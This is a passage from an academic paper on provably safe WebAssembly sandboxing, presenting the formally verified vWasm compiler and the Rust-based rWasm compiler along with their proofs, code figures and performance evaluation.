vWasm’s overall TCB in Section 4.3, but we note that the
printer is largely a straightforward one-to-one translation of
our IR to strings, making it fairly simple to audit.

Finally, the sandboxing pass, which lies between the above
two, is untrusted but verified to be correct. We define this
formally in the next subsection, but informally, this means
that the sandboxing code has been proven (and the proof
mechanically checked) to produce safely sandboxed code,
given any input. Within the sandboxing pass, all accesses
(reads or writes) into the Wasm module’s linear memory,
indirect function call table, imports, globals, etc. are proven
(sometimes after suitable transformations) to be safe.

In particular, to perform safe sandboxing, we bound ac-
cesses primarily via a bitwise-AND operation whenever pos-
sible, falling back to a check-and-branch-based bound oth-
erwise. Admittedly, this runs counter to the WebAssembly
specification, which dictates that any access outside linear
memory must immediately trap. However, we allow for this
small difference in semantics to support simplified sandbox-
ing. For valid program executions, this does not impact their
execution trace. However, upon an invalid out-of-bounds
access, instead of trapping and exiting, the module may con-
tinue execution while corrupting its own memory space.3 This
transforms a security bug into a correctness (but sandbox-safe)
bug. In some scenarios, this may be undesirable, so vWasm
could be modified to instantly terminate.

To prove sandbox safety, we additionally prove that the
sandboxing pass also guarantees (a restricted form of) Control-
Flow Integrity (CFI) that ensures that any checks performed
for sandboxing cannot be bypassed, and thus must be obeyed.
Due to the convenient explicit split between different types
of accesses in Wasm (e.g., linear memory is disjoint from the
indirect call table and globals), sandbox checks can be safely
elided in most cases except for direct linear memory accesses.
This elision too is proven safe against the x64 machine model.

The sandbox used in vWasm has a fixed compile-time size,
but since many Wasm programs need the ability to grow
memory, we emulate the size accessible to the program, while
using the sandbox size as a constant upper bound4. The loca-

3Despite allowing such corruption, vWasm does not depend on external
assumptions like WˆX to prevent code-modification attacks. Explicit checks
force writes to stay within explicitly-provided data-only regions. Our proofs
demonstrate these checks suffice and cannot be bypassed.

4Wasm uses 32-bit addressing; thus Wasm programs cannot refer to
memory beyond 4GiB. vWasm supports setting the limit to this maximum,
so any limitations due to memory-size bounds are due to Wasm itself. Wasm’s
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type o p e r a n d i =
| OConst : n : i n t → o p e r a n d i
| OReg : r : r e g i → s i z e : r s i z e → o p e r a n d i
| OMemRel : o f f s e t : maddr → o p e r a n d i
| ...

type ocmp =
| OEq32 : o1 : o p e r a n d i → o2 : o p e r a n d i → ocmp
| ...

type i n s _ t =
| Add32 : d s t : o p e r a n d i → o2 : o p e r a n d i → i n s _ t
| ...

type p r e c o d e =
| I n s : i : i n s _ t → n e x t : l o c → p r e c o d e
| Cmp : cond : ocmp → t : l o c → f : l o c → p r e c o d e
| C a l l : t g t : t a r g e t _ t → o n r e t u r n : l o c → p r e c o d e
| ...

type code = l i s t p r e c o d e
type ok_ t = | AllOk | MemFailure | A s t F a i l u r e | ...

type s t a t e = {
ok : ok_ t ; i p : l o c ; r e g _ i : i n t ^→n a t 6 4 ;
mem: heap ; s t a c k : s t a c k ; ...

}

l e t e v a l _ s t e p ( c : code ) ( s : s t a t e ) : s t a t e = ...

Figure 3: Sample of our machine model for x64 in F*

v a l sandbox_compi l e
( a : aux ) ( c : code ) ( s : e r a s e d s t a t e ) : E r r code

( r e q u i r e s (
( s . ok = AllOk ) ∧
( r e a s o n a b l e _ s i z e a . s b _ s i z e s .mem) ∧
( s . i p ‘ in_code ‘ c ) ∧ ... ) )

( ensures ( fun c ’ →
f o r a l l n . ( e v a l _ s t e p s n c ’ s ) . ok = AllOk ) )

Figure 4: Simplified theorem statement in F* for provably
safe sandboxing in vWasm.

tion of the sandbox in memory itself is not fixed at compile
time, but instead is chosen at run time, allowing for extra
mitigations, such as Address Space Layout Randomization.

4.3 Provably Safe Sandboxing
Reasoning about sandboxing code involves first defining

a machine model, and then defining what sandbox safety is
within this model. Our machine model covers the subset of
x64 targeted by the compiler. A simplified version of this
model, written in F*, is in Figure 3. The complete model can
be found in our open-sourced code. Note that these semantics
for x64 are defined as small-step semantics, allowing for rea-
soning about even potentially infinitely running code. Within
the definition of the x64 state, the ok field is crucial for

real-world usage suggests this is not very limiting in practice.

defining safe sandboxing. This field is set to the value AllOk
if and only if, until that point in execution, nothing invalid has
occurred. Crucially, this also means that no accesses outside
the memory allocated to the module have occurred.

Sandboxing is safe if and only if, informally, starting
from any initial AllOk state, executing the sandboxed code
for any number of steps leads to an AllOk state. Figure 4
shows the overall statement of this theorem for the sand-
boxing pass, more formally written in F*. This statement,
written as pre- and post-conditions for the sandboxing pass
sandbox_compile, shows that any code output by the sand-
boxer is formally guaranteed via the machine-checked proof
to be safe. The pass takes two arguments a (auxiliary data)
and c (the input program), and a computationally-irrelevant
argument s (the initial state of the program, which is used
for reasoning in our proofs, but that is erased when running
the compiler), and returns output code c’ under the custom
effect Err (which allows the compiler to quit early upon er-
ror, for example if it finds a call to a non-existent function).
The statement guarantees that as long as the pre-conditions in
the requires clause are satisfied, the post-condition in the
ensures clause provably holds on the produced output code.
The conditions say that the initial state must be safe, have a
reasonable sandbox size, and start from a valid location in the
code; if these conditions are met, the output code c’ will be
safe when executed for any number of steps n.

The safety of the code means that it cannot access memory
outside the allowed boundary. In particular, this means that
any invalid (or even malicious) code provided to the sandboxer
is made safe, and thus issues such as buffer overflows can
only corrupt the module’s internal state and nothing outside it.
This property is distinct from traditional compiler correctness,
which is predicated upon the input code being safe.

To better understand this guarantee, we must understand the
Trusted Computing Base (TCB) under which it holds, which
then explains potential limitations. Since this proof is written
in F*, our TCB includes all that comes with it, specifically,
F*, Z3 (its SMT backend), and OCaml (which is what we
extract the F* code to, in order to execute). Additionally,
our TCB includes the x64 machine model, the full theorem
statement from Figure 4, and the trusted x64 assembly printer,
as well as the assembler that converts the printed assembly
into machine code. Note that all of these portions of the
TCB would be required even for the implementation of a
traditional verified compiler, but crucially, we do not have the
semantics of the input language in our TCB, while traditional
compiler correctness would necessarily need it in order to
state its semantic equivalence (or simulation) theorem.

Our proof strategy consists of multiple parts. First, we
use small-step semantics, which allow for more fine-grained
reasoning about code execution. Next, we combine some
instructions into groups of instructions. A group of instruc-
tions can be any positive number of instructions executed in a
straight-line fashion. We then show a CFI property that this
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grouping cannot be escaped from; i.e., a group can only be
entered at its start, and only exited at its end, thereby behav-
ing similar to a (subset of a) basic block. For normal control
flow (such as straight-line code, or for conditional/uncondi-
tional direct jumps) this is straightforward, but more effort
is required for indirect control flow (indirect function calls,
indirect jumps, lookup/jump tables, and function returns).
Next, we show that each group maintains the AllOk invariant;
i.e., no invalid memory accesses or any other transition to an
invalid state has occurred yet. By ensuring that all potentially
unsafe accesses are correctly checked within a group, this
invariant follows as a result. Finally, we prove that this invari-
ant suffices to show that executing any number of steps in the
program maintains AllOk.

4.4 Useful Insights

In the process of implementing and verifying vWasm, we
uncovered some useful insights, which are likely to generalize
to any formally verified sandboxing compiler. The first of
these is that proving sandboxing is far more convenient with
small-step semantics than it is to do it with big-step semantics
along with a full execution trace. We initially started with
the latter, but found that the proofs were convoluted and were
simplified significantly by switching to the former. This is
because small-step semantics allowed us to more naturally
state and work with the invariant along groups of instructions.
At its core, each group of instructions behaved like a single
“medium step” formed from a finite collection of small steps,
and this property is more naturally expressed as combining
small steps on an unchanged program, rather than as a big
step on the restricted program consisting of only the group.

Next, we found, to our surprise, that an unstructured IR was
more convenient to work with to prove sandboxing. Wasm
is carefully designed as a structured virtual architecture, not
allowing for arbitrary gotos, and such structure generally sim-
plifies proofs. However, Wasm introduces multiple distinct
control-flow constructs consisting of loops, blocks, condition-
als, branches, conditional branches, indirect branches, and
direct/indirect calls. Each of these contribute non-trivial com-
plexity to the proof, and hence we found that making the IR
unstructured quite early in the compiler simplifies the overall
implementation and associated proofs. In particular, vWasm
quickly moves to an IR based on an unstructured Control Flow
Graph (CFG) and maintains this right down to emitting x64
assembly at the printer. This means that all the control flow
constructs are unified and do not require special handling.

Another useful property we noticed is that most of the
proofs for the sandboxing are architecture independent. While
we have implemented our compiler to only emit x64, very
few proofs depend on x64-specific behavior. Instead, most
of them rely more abstractly upon whether an instruction
may access a certain region of memory or not. Thus, we
believe that the compiler and its proofs are almost architecture

independent. Specifically, with some more proof engineering,
location modeling could be made more abstract, similar to
that done by Bosamiya et al. [2], at which point the proofs
would be practically architecture independent. We leave this
for future work.

Finally, to implement a convenient-to-reason-about CFG-
based semantics, a list of instructions with jumps indexing
into it is useful. However, this makes for a very slow compiler,
since updates to a functional list are expensive in languages
like OCaml that use immutable linked lists. In order to bal-
ance proof complexity and implementation performance, we
implemented a new functional data structure which we call an
Append Optimized List (AOL). An AOL contains all the oper-
ations that one might require from a functional list, and each
of these operations are proven to correspond to the equiv-
alent operation on the simulated functional list. However,
these operations are optimized for performance by imple-
menting AOL as a tree that allows for delaying operations.
For example, appending two functional lists is a linear time
operation (in the length of the first list), but appending two
AOLs is a constant-time operation, since it only requires the
creation of a single node that points to both. Other operations
which are faster on AOLs than on functional lists include:
length, zip, unzip, repeat, split, get_at_index, and
update_at_index. Since these operations are proven to
match the functional specification, proofs written with lists in
mind work directly with no changes required; however, the
overall performance of the compiler is improved by an order
of magnitude (Section 6.1.2).

5 rWasm: High-Performance
Informally-Proven-Safe Sandboxing

rWasm leverages the insight that Rust (Section 5.1) can pro-
vide both safety (Section 5.3) and good performance, if we
employ a suitable compilation strategy (Section 5.2) that plays
to the strengths of Rust’s optimization strategies (Section 5.4).
rWasm’s approach also makes it surprisingly simple to instru-
ment the produced code with reference monitors (Section 5.5).

5.1 Background: Rust
Rust [26, 40] is a systems programming language with a
strong focus on performance, reliability, and safety. Devel-
oped originally for use in Firefox, it has since gained use in the
industry for security- and safety-critical software components.
Amongst other goals, Rust aims to eliminate memory safety
errors entirely, and it does so through a memory-ownership
discipline. This provides safety without garbage collection,
which practically all popular memory-safe languages previ-
ously required. Rust allows a developer to write high-level
code, with low-level control when needed. However, as a sys-
tems programming language, there might be certain scenarios
(e.g., writing an OS) where one might need more control than
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directly allowed by the language, like directly accessing an
arbitrary location in memory. Rust provides an explicit escape
hatch for this via the keyword unsafe.

However, Rust guarantees that correctly typed code without
unsafe (ensured by the declaration #![forbid(unsafe)])
will always be memory safe. The Rust community takes this
guarantee extremely seriously, and considers any unsoundness
in its type system to be immediately security critical (even if
it may not actually be exploitable), assigns a CVE to it, and
then works to fix the unsoundness [51]. Given the prevalence
of Rust in industry, and how seriously the Rust team takes un-
soundness bugs, safe Rust is thus battle-tested to be memory
safe, even if not (yet) proven to be so. Early efforts towards
formalization of Rust and its security guarantees have already
begun, such as with the RustBelt [18] project and Oxide [50].

5.2 Compilation Strategy

rWasm compiles WebAssembly code to safe Rust. It consists
of (i) a frontend that parses the Wasm binary into an internal
intermediate representation, (ii) a stack and dead code ana-
lyzer, and (iii) a backend printer, that prints the intermediate
representation into Rust code. This Rust code is then fed into
the Rust compiler (rustc) to produce machine code.

We implement all stages of rWasm in safe Rust, and no
stage of the compiler needs to be verified or trusted. This
means we do not need to depend upon the safety or correctness
of any part of rWasm for the safety of the produced executable
machine code. Instead, the safety of the produced code simply
comes from the lack of any unsafe in the generated Rust
code. We discuss this further in Section 5.3. The compiler
itself is thus free to generate code however it likes, but not all
approaches produce efficient code. We discuss techniques to
produce efficient code, amongst other details in Section 5.4.

5.3 Provably Safe Sandboxing

Our key insight for rWasm is that emulation of low-level
code can be done by lifting it to a high-level language, which
provides the guarantees of the high-level language to the low-
level code under emulation. The high-level property that
we want for provably safe sandboxing is essentially memory
safety, meaning that the sandboxed code cannot access any
memory that is not explicitly allocated to it by the runtime
in the host process. Thus, compiling Wasm to any type-safe
language (e.g., OCaml or Haskell) would provide provably-
safe sandboxing through guaranteed object integrity, lack of
type confusion, lack of out-of-bound memory accesses, etc.
without trusting the generated type-safe code. Contrast this
with wasm2c [43], which requires trusting the compiler, or its
generated C code, since C does not guarantee memory safety.

The usual side effect of such lifting is that it leads to either
unpredictable or bad performance. We recognize, however,

that Rust presents us with a new opportunity to provide high-
level guarantees without necessarily suffering this side effect.
We have to be careful to actually eliminate it, but due to Rust’s
focus on performance, and lack of a garbage collector, it is
feasible to obtain good and predictable performance by lifting
code to Rust.

Since safe Rust’s type-safety guarantees memory safety,
we can thus informally prove memory safety by ensur-
ing that there is no usage of unsafe in the produced
code. We can achieve this simply through the use of a
#![forbid(unsafe)] declaration. The TCB in this scenario
then is only the Rust compiler. More explicitly, neither rWasm
nor its generated code needs to be trusted for memory safety.
While the Rust compiler itself is large, the Rust team takes
type- and memory-safety extremely seriously, and thus this
provides (informally) provably safe sandboxing.

Astute readers will note that sandbox safety in any type-
safe language also depends on the language’s runtime li-
braries. Fortunately, rWasm imports nothing, uses only
allocation-related features (for Vec), and even eliminates de-
pendency on the Rust standard library via the #![no_std]
directive. As with any sandbox, care is required when ex-
posing an API to sandboxed code [30] (e.g., to avoid APIs
enabling sandbox bypasses directly or via confused-deputies),
but such concerns are orthogonal to sandbox construction.

5.4 Useful Insights
Here, we describe an optimization-friendly collection of

techniques to preserve WebAssembly semantics in Rust. Fig-
ure 5 illustrates the net effect of these techniques when com-
piling an example Wasm function that takes a 32-bit integer
argument and computes the sum of positive integers up to
that number. Note that the simple Wasm code becomes seem-
ingly complex Rust code. However, the Rust code is written
to be optimization friendly, and thus the Rust compiler is
able to optimize it nearly all away, even recognizing that this
convoluted looking code can be optimized via the mathemat-
ical closed form ∑

a
i=0 i = a(a+1)

2 . We briefly summarize key
design decisions below.

The first challenge for any Wasm compiler is mapping
Wasm’s stack-based virtual machine to finite-register hard-
ware. Rather than write our own register allocator for rWasm,
our stack analysis pass emulates the stack-based machine via
an infinite-register machine, where Rust variables are used to
represent the “infinite” registers (notice in Figure 5a that the
Wasm code only uses two stack slots, which correspond to
Rust variables slot0 and slot1 in Figure 5b). We represent
Wasm’s non-stack locals and function arguments as scalar-
typed Rust variables (see local0 and local1 in Figure 5b).
This allows us to piggy-back on rustc’s excellent register
allocation routines to obtain good performance.

To further simplify rWasm’s implementation, we observe
that Rust is adept at eliminating the repeated wrapping and
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( func ( param i 3 2 ) ( r e s u l t i 3 2 )
( l o c a l i 3 2 )
loop ( r e s u l t i 3 2 ) ; ; [ ]

l o c a l . g e t 0 ; ; [ a ]
i 3 2 . c o n s t 1 ; ; [ a , 1 ]
i 3 2 . l t _ s ; ; [ a <1?]
i f ( r e s u l t i 3 2 ) ; ; [ ]

l o c a l . g e t 1 ; ; [ s ] , r e t u r n
e l s e

l o c a l . g e t 0 ; ; [ a ]
l o c a l . g e t 1 ; ; [ a , s ]
i 3 2 . add ; ; [ a+s ]
l o c a l . s e t 1 ; ; [ ] , s ← a + s
l o c a l . g e t 0 ; ; [ a ]
i 3 2 . c o n s t 1 ; ; [ a , 1 ]
i 3 2 . sub ; ; [ a−1]
l o c a l . s e t 0 ; ; [ ] , a ← a − 1
br 1 ; ; c o n t i n u e

end
end )

(a) WebAssembly code. The status of the stack
after each instruction’s execution is shown as
comments, where the stack grows towards the
right.

fn func_0(&mut self, a: i32) → Option<i32> {
let mut local0 = a; let mut local1 = 0i32;
let mut slot0: TV; let mut slot1: TV;
’lbl0: loop {

slot0 = tv(local0);
slot1 = tv(1i32);
slot0 = tv((slot0.vi32()?) <

(slot1.vi32()?));
’lbl1: loop {
if slot0.vi32()? != 0 {

slot0 = tv(local1);
} else {

slot0 = tv(local0);
slot1 = tv(local1);
slot0 = tv(slot0.vi32()? +

slot1.vi32()?);
local1 = slot0.vi32()?;
slot0 = tv(local0);
slot1 = tv(1i32);
slot0 = tv(slot0.vi32()? -

slot1.vi32()?);
local0 = slot0.vi32()?;
continue ’lbl0;

} break;
} break;

}
Some(slot0.vi32()?)

}

(b) Simplified Rust Output from rWasm

func_0 :
t e s t e s i , e s i
j l e .A
l e a eax , [ r s i − 1]
l e a ecx , [ r s i − 2]
imul rcx , r a x
mov edx , eax
imul edx , eax
s h r r c x
add edx , e s i
sub edx , ecx
mov eax , 1
r e t

.A:
xor edx , edx
mov eax , 1
r e t

(c) Compiled to x64

Figure 5: Compilation via rWasm of a program to find the sum of the first a positive integers.

unwrapping of tagged unions (i.e., sum types) without any
performance penalty. Hence, we implement a custom tagged
enum in Rust that can hold any of the native Wasm types. As
shown in Figure 5b, tv wraps and tags values of any scalar
type into the TV tagged enum; the original values can then be
extracted back to a scalar type, say i32, while checking the
tag using vi32()?. Using a tagged enum means that all Rust
variables have the same type, so rWasm’s stack analysis only
needs to track the overall stack size, not the types of the values
on the stack at any given moment during program execution.
For example, given the Wasm code, i32.const 5, drop,
f64.const 3.14, rWasm can reuse the same Rust variable,
even though the stack slot has different types during execution.
Furthermore, this approach makes the polymorphic Wasm
instructions select (which picks one of the elements of the
stack based upon the top element) and drop (which drops the
top element of the stack) trivial to implement.

To handle WebAssembly’s wide range of control flow con-
structs, we need to compile them down to those supported
by Rust. While Rust does not support unstructured gotos, it
does have the ability to break/continue to any outer loop
(the labels ’lbl0 and ’lbl1 in Figure 5b correspond to the
respective block structure in Figure 5a). We use this, along
with conditionals and match expressions to implement and
emulate all the intra-function control flow constructs in Wasm.
Direct function calls translate trivially to direct calls in Rust,
but indirect function calls have multiple design choices, such
as inlining a dispatch routine, or having multiple type-disjoint
dispatch routines, or calling out to a single common dispatch
routine (requiring serialization of arguments on the stack and

a type check and deserialization at the dispatch routine). In
practice, we found the single dispatch routine to work best,
for both compile-time and run-time performance.

For WebAssembly’s linear memory, there are multiple de-
sign choices both for how to implement it, as well as how to
access it. The first decision is whether to implement it as an
overcommitted allocation with memory-size emulation (sim-
ilar to that in vWasm) or to simply utilize a heap-allocated
resizable array of bytes (i.e., Vec<u8>). The second decision
is a choice between check-and-panic vs wrapping memory
access. Each of these choices involves a trade-off between
compile-time and run-time performance. Based on our mi-
crobenchmarks (Section 6.1), we chose check-and-panic with
a resizable Vec<u8> as our default. While this introduces
explicit checks at each access, rustc optimizes many of them
by eliminating repeated or unnecessary checks statically.

Wasm’s mutable global variables might initially seem diffi-
cult to implement in Rust, since Rust requires unsafe to read
or write mutable globals (or static mut in Rust parlance).
However, this has a simple fix familiar to most functional
programmers: the state monad. In fact, rWasm even handles
Wasm’s linear memory this way. In particular, we represent
the emulated Wasm module as a Rust struct whose associ-
ated methods emulate the Wasm module’s functions. This
means that the module’s state is passed into each function
(via &mut self), and the globals and linear memory can be
stored safely within the Rust struct.

Finally, rWasm models integer overflow semantics to ex-
plicitly match WebAssembly semantics. By default in Rust,
integer overflows cause panics in debug builds, and wrap in
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release builds. Since Wasm’s integer overflow semantics are
to always wrap, we explicitly perform wrapping arithmetic
in Rust. This ensures that we always match WebAssembly
semantics, even in debug builds. We omit this in Figure 5b
due to space constraints.

5.5 Extensions

Implementing a low-level (virtual) architecture emulator via
lifting to a high-level language, as we do in rWasm, comes
with some extra benefits. One such benefit is that it is easy to
build code tracers and Inline Reference Monitors (IRMs) in
the spirit of SASI [7] (which describes how to instrument Java
and x86 byte code to enforce security policies expressed as
security automata). Another benefit is that the Rust compiler
is able to jointly optimize the IRM and Wasm module’s code,
since both are part of the same generated Rust source. In fact,
one could even consider the sandboxing access checks to be
a special case of such IRMs. Within rWasm, we currently
have multiple tracers that can be enabled if the user chooses,
including function-level tracing, instruction-level tracing, and
memory-access tracing, taking 75, 10, and 70 lines of code
respectively to implement. Anecdotally, we found it easy to
debug rWasm and its output during development due to IRMs.
It would not be difficult to extend rWasm with other IRMs,
even with very high precision, such as byte-level granularity
run-time taint analyzers. Such extensions could potentially
allow one to implement various sanitizers, such as Address-
Sanitizer (ASan) [38], without introducing much overhead,
or indeed even needing source (which compiling with ASan
requires). We leave such extensions for future work.

6 Evaluation

We evaluate vWasm and rWasm against multiple popular
Wasm runtimes. These include interpreters (wasm3 [44] and
WAMR [49] in interpreter mode), JIT compilers (Wasmer [45]
and wasmtime [46]), and AOT compilers (wasm2c [43],
WAMR [49] in AOT compilation mode, WAVM [48]). We
choose these runtimes for comparison as they are both popu-
lar, as per GitHub stars, and also support the WebAssembly
System Interface (WASI) [42], allowing for direct compar-
isons. We also investigated Lucet [1], which uses Wasm for
sandboxing, although without any guarantees.5 Unfortunately,
despite extensive efforts with multiple versions, we were un-
able to get Lucet to execute any of our 30 benchmarks, and
thus we exclude it from comparison.

We evaluate these Wasm runtimes on both quantitative
(Section 6.1) and qualitative (Section 6.2) metrics. All bench-
marks run on a system with an AMD Ryzen 3700x processor
and 64 GB of memory. We compile benchmarks to WASI-

5Indeed, one of the developers remarked, “We’re just constantly fixing
bugs with it” [28].

compliant Wasm binaries using Clang [3] with the -O3 op-
timization level. In addition, for comparison against native
(non-sandboxed) execution, we compile directly to native x64
code also using Clang with -O3.

6.1 Quantitative Benchmarks

6.1.1 Execution Time

As discussed in Section 3, run-time performance is critical for
practical adoption in most applications. Hence, we measure
execution time for our compilers and our various baselines
using the PolyBench-C benchmark [33] suite, consisting of
thirty programs, which has been a standard benchmark suite
for Wasm since its inception [11].

Figure 6 summarizes our results, showing the normalized
execution time of the benchmarks on the Wasm runtimes.
Each point in the chart is the ratio of the mean time taken to
execute the benchmark with the particular runtime vs. the
mean time taken to execute by compiling the C code directly
to non-sandboxed x64. We run each benchmark between
10 and 1000 times, based upon the time taken to run the
particular benchmark. The mean of the different normalized
execution time, and the 25% and 75% quartiles are shown for
each runtime. Appendix A shows a detailed breakdown and
further analysis.

The results indicate that, unsurprisingly, compilation
strictly dominates interpretation for run-time performance.
Note that, as seen in the original Wasm paper [11], we too find
some benchmarks execute faster when compiled via Wasm
than when compiled directly to native code.

With respect to our compilers, we see that rWasm is compet-
itive even with the compilers which are optimized for speed,
and not necessarily safety, only slower by 3% to 26% on av-
erage than the first three of the four faster runtimes on the
list (wasm2c, WAMR in AOT compilation mode, and wasm-
time respectively). The fastest, WAVM, is almost twice as
fast as rWasm on average, but on some of the longer run-
ning PolyBench-C benchmarks (such as 2mm, 3mm, and gemm),
rWasm is more than twice as fast than WAVM, and thus we
see that relative performance can vary drastically based upon
workload. vWasm consistently outperforms the interpreters
on all benchmarks (by 30% on benchmarks like reg_detect
and fdtd-apml to 600% on benchmarks like cholesky and
ludcmp). However, while on average it is 2× to 3× faster
than the interpreters, it is slower than the other compilers
by 3.5× to 7.5×. However, Figure 6 also shows the execu-
tion time for vWasm with the sandboxing pass disabled. We
find that the run time is marginally affected (by only 0.2%).
This indicates that almost all of the slowdown, compared to
other compilers, is due to the unverified portion of the com-
piler, which can be improved without needing to write any
new proofs or even impacting existing proofs. In particular,
replacing the simple register allocator and introducing stan-
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Figure 6: Mean execution time of PolyBench-C benchmarks across the Wasm runtimes, normalized to pure native execution.
Interpreters have square brackets; JIT compilers have braces; the rest are AOT compilers. vWasm* disables sandboxing.
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Figure 7: Mean compilation time for the PolyBench-C bench-
marks across the Wasm AOT compilers.

dard optimizations (e.g., common subexpression elimination)
should improve the performance of code compiled by vWasm
significantly, without any proof effort.

Microbenchmark: Sandboxing Memory Accesses There
are multiple design choices for how memory accesses are im-
plemented (Section 5.4). We compare these in Figure 8, both
on our regular AMD-based test bench, and on a system with an
Intel i9-9900K with 128GB of RAM. These violin plots show
the time taken to read a single 64-bit integer from memory,
using different methods to confirm the read’s memory safety.
We represent the three approaches, namely No Sandbox (N),
Check-and-Bound (C), and Wrapping with Bitwise AND (B),
as rows/violins in the plot. N is shown only as an unsafe

1 2 3
Time (ns)

No Sandbox

Check-and-
Bound

Wrapping w/
Bitwise AND

CPU = AMD Ryzen 3700x

1.0 1.2
Time (ns)

CPU = Intel i9-9900k

Memory
Resizable
Fixed

Figure 8: Design choices for sandboxing memory accesses.

baseline to compare the safely sandboxing C and B. In each
violin, the top half shows the probability density of time taken
(collected from ∼2×109 samples for each configuration) to
perform a single read from resizable memory (via Vec<u8>),
while the bottom half shows the same from a fixed-size array.
On both CPUs, for fixed-sized arrays, the difference between
C and B is negligible. However, on resizable memory, we find
that C is three times faster than B on the AMD CPU, while on
the Intel, B is only marginally faster than C. Thus, we find a
significant difference in picking the better approach on mod-
ern Intel and AMD CPUs. More surprisingly, C either almost
meets, or significantly beats the performance B, contrary to
conventional SFI wisdom.

6.1.2 Compilation Time

For some scenarios (e.g., Web apps), compilation time mat-
ters, since it sits on the critical path for an impatient user.
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vWasm Component Lines of Code Verif. Time (s)
x64 Semantics 2068 114
Printer 1458 45
Parser 558 19
Frontend 2747 57
Register Allocator 1822 87
Optimizer 185 8
Sandboxing 3607 450
AOL 737 9
Layered Effects 443 8
Misc 1160 22

rWasm Component Lines of Code
AST + IR 384
Parser 888
Stack Analysis + Printer 2157
IRMs 155
Misc 109

Table 1: Development Effort. The first two components of
vWasm are its primary TCB.

For other scenarios (e.g., installing dynamic client code at a
CDN), compilation time happens off the critical path.

For completeness, Figure 7 shows the mean compilation
time needed for each of the Wasm compilers. For our com-
pilers, we also show the split between time spent within our
implementation, and time spent in the tool that runs after.

For vWasm, approximately 17% of the 16 seconds is spent
within the compiler, and the rest is spent in the assembler.
For rWasm, 1.5% of the 137 seconds is spent within our com-
piler, and the rest is spent within the Rust compiler, which
is known for slow performance. We note however, that any
improvements in the rustc’s compilation time will automati-
cally improve our overall compilation time without requiring
any changes to rWasm.

Faster Compilation with Append Optimized Lists As
discussed in Section 4.4, we introduce an efficient implemen-
tation for functional lists with operations proven functionally
equivalent to standard functional lists. When measured on
the compilation times for PolyBench-C, they reduce compile
times from 25+ seconds to 2.5s, which is an order of mag-
nitude improvement. The impact on verification time and
effort (apart from proving the AOL functionally correct) is
negligible, since AOLs provably meet the specification for
standard functional lists, meaning that they behave as a “free”
drop-in replacement.

6.1.3 Development Effort

Next, we quantify the development effort needed to imple-
ment both vWasm and rWasm. The former took approxi-
mately two person-years to develop, including both code and
proofs, while the latter took one person-month. This stark

Property vWasm rWasm

Safety Guarantee Theoretically
stronger

Provable w/
non-standard TCB

Initial Impl. Less efficient More efficient
Maintenance Less efficient More efficient
Static Properties More extensible Less extensible
Run-Time IRMs Less extensible More extensible

Table 2: Summary of the Qualitative Comparisons

contrast is a testament to the daunting amount of work formal
verification requires, even with modern, automated tools like
F*. It also illustrates the significant benefit of rWasm’s care-
fully leveraging Rust’s investment in safety. We describe the
development effort qualitatively in Section 6.2.

As another quantitative measure, we include lines of code
for both tools in Table 1, split by high-level components,
along with total time taken for F* to verify the components
of vWasm. We note however, that this only shows overall
time taken to verify; it is not indicative of the interactive
verification cycle, which is what comprises the majority of
vWasm’s development time. To keep the interactive proof
engineering cycle tolerable, most proofs in our code base take
under ten seconds to verify, and even the most time consuming
proofs are checked in under two minutes.

6.2 Qualitative Evaluation
Here, we qualitatively compare vWasm and rWasm against
one another, as two important points in the design space
(Section 3). We summarize the comparison in Table 2.

Safety The level of assurance provided by both vWasm
and rWasm is extremely high, since both provide provable
safety. However, only the former is formally verified and
reasons directly about the generated assembly code. Thus,
one might argue that it is theoretically safer. From a more
practical view, we need to consider their respective TCBs to
understand safety. The TCB for vWasm is standard in many
verification papers, in that it includes the verification tool (and
its dependencies) as well as the model we are verifying against
(here, the x64 machine model). For rWasm, the TCB is non-
standard since it includes trusting the compiler of a language
that is only a decade old, but is usually not part of verification.
However, Rust is committed to memory safety, and is trusted
for many security-critical applications in the industry, and
thus may be considered safe enough. The decision for which
to pick, purely based upon safety, thus relies on which TCB
one considers more trustworthy, since the two are practically
disjoint, and thus not directly comparable.

As a sanity check, we also confirm that exploit attempts
are caught. Specifically, we implement an end-to-end im-
age conversion scenario using netpbm 10.26 (vulnerable to
CVE-2008-0554) and libjpeg-turbo 2.1.1. We compile them
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to separate Wasm modules, and use them to convert GIFs to
JPEGs via a trusted driver program that hosts them as sepa-
rately sandboxed libraries in the same process. On an example
input, the rWasm-compiled and vWasm-compiled versions
show a mean slowdown of 1.301× and 3.825× across 100
executions respectively, compared to the equivalent native
program without Wasm-based compilation and sandboxing.
We also test the proof-of-concept for CVE-2008-0554 on
all three versions. This causes the native version to a crash
with attacker-controlled state (potentially leading to arbitrary
code execution). In contrast, unsurprisingly, both vWasm-
and rWasm-compiled versions are able to successfully detect
the buffer overflow and terminate the module’s execution,
returning back safely into the driver program.

Development Effort: Initial Implementation As noted in
Section 6.1, vWasm took much longer to implement than
rWasm. The reasons for this are many fold: (i) developing
verified software continues to be significantly more difficult
than unverified software; (ii) a full compiler down to assem-
bly is more complicated than one to a high-level language,
due to low-level architectural details; (iii) a compiler to a
high-level language supports conveniently introducing tracers
(Section 5.5), aiding in the debug cycle.

While our focus is on safety, we also took steps to ensure
the correctness of our tools. Indeed, to aid in debugging
vWasm during development, we implemented a semantics
fuzzer, included in our open source release, which randomly
generates valid Wasm programs that check their own results
during execution, in order to help identify potentially flawed
semantics. The core idea of this fuzzer is to generate code
of the form “if 2 + 3 is not 5, exit with failure”. This fuzzer
helped us identify and fix over 15 distinct semantic correctness
issues in vWasm (none of which threatened sandbox safety,
but which could lead to incorrect computation results). No
issues were found by the fuzzer in rWasm. Both vWasm and
rWasm have now been fuzzed extensively, and they both pass
all correctness and consistency checks for the benchmarks.

Overall, we conclude that the initial development effort for
rWasm is significantly better than vWasm.

Development Effort: Maintenance Of course, the devel-
opment effort for any software used in practice cannot be
understood purely from its initial implementation effort but
must also consider ongoing maintenance costs. This can be
quite subtle for both vWasm and rWasm, and also somewhat
speculative. For the former, there is no further maintenance
effort needed if one simply wants to use it on x64 processors,
since the architecture, while likely to change, will largely only
introduce new instructions while keeping the existing instruc-
tions the same. However, improving the performance of code
generated by vWasm would require quite some effort. Since
the stages before the sandboxing pass are unverified, the effort
is comparable to any other maintenance for a compiler. Wasm,

as a standard, is not yet completely finished and new propos-
als will continue to improve upon it, adding new instructions
and potentially new control-flow constructs; these should only
require a small amount of effort to introduce. However, if
Wasm introduces a new way to access memory, this could take
a larger amount of effort to introduce into vWasm, since it
might impact the sandboxing pass. Finally, despite our efforts
to keep our proofs as general as possible, adding support for
a new architecture (such as ARM) would be a straightforward
but non-trivial amount of effort, given the inherent difficulty
of writing formal proofs. In contrast, rWasm automatically
